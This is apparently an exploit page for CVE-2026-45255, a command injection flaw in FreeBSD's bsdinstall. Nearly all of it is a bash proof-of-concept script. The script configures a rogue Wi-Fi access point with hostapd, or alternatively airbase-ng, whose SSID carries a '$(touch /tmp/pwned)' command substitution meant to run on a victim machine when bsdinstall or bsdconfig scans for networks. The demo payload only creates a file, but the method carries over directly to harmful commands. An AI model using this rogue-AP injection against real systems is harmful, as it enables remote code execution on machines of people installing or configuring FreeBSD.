CVE-2026-45255 FreeBSD bsdinstall命令注入漏洞

#!/bin/bash # PoC Concept: Create a malicious Access Point to exploit CVE-2026-45255 # This script demonstrates how to set up a rogue AP with a malicious SSID using hostapd. # The payload attempts to create a file /tmp/pwned as proof of execution. MALICIOUS_SSID='$(touch /tmp/pwned)' # Create a minimal hostapd configuration CONF_FILE="/tmp/hostapd.conf" cat > $CONF_FILE <<EOF interface=wlan0 driver=nl80211 ssid=$MALICIOUS_SSID hw_mode=g channel=6 EOF # Start the rogue AP # hostapd $CONF_FILE # Alternatively, using airbase-ng from the aircrack-ng suite: # airbase-ng -e "$MALICIOUS_SSID" -c 6 wlan0mon echo "Rogue AP with SSID '$MALICIOUS_SSID' configured." echo "When a victim scans for Wi-Fi using bsdinstall/bsdconfig, the command will execute."